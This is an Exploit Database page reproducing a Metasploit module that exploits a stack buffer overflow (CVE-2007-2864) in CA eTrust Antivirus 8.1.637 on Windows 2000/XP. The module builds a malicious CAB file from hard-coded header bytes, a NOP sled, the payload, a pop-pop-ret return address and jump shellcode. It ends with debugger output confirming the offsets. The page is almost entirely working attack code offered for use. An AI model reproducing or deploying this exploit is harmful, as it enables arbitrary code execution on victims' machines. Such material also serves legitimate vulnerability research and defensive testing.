CA AntiVirus Engine – CAB Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16677/

• ##
  # $Id: ca_cab.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA Antivirus Engine CAB Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.
  					By creating a specially crafted CAB file, an an attacker may be able
  					to execute arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'MC' ],
  			'Version'=> '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-2864' ],
  					[ 'OSVDB', '35245'],
  					[ 'BID', '24330' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-035.html' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 250,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Jun 05 2007',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The file name.','msf.cab']),
  			], self.class)
  	end
  
  	def exploit
  
  		cab_header ="\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"
  		cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"
  		cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"
  		cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"
  
  		sploit =make_nops(268 - payload.encoded.length) + payload.encoded
  		sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
  		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string
  		sploit << make_nops(800)
  
  		cab = cab_header + sploit
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(cab)
  
  	end
  
  end
  
  =begin
  0:001> !exchain
  00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)
  00cdf2fc: 316a4130
  Invalid exception stack at 6a413969
  0:001> !pattern_offset 1024 0x6a413969
  [Byakugan] Control of 0x6a413969 at offset 268.
  0:001> !pattern_offset 1024 0x316a4130
  [Byakugan] Control of 0x316a4130 at offset 272.
  0:001> u 0x6dc886ea L3
  INOCORE!QSIInitQSysInfo+0x278a:
  6dc886ea 5fpop edi
  6dc886eb 5epop esi
  6dc886ec c3ret
  =end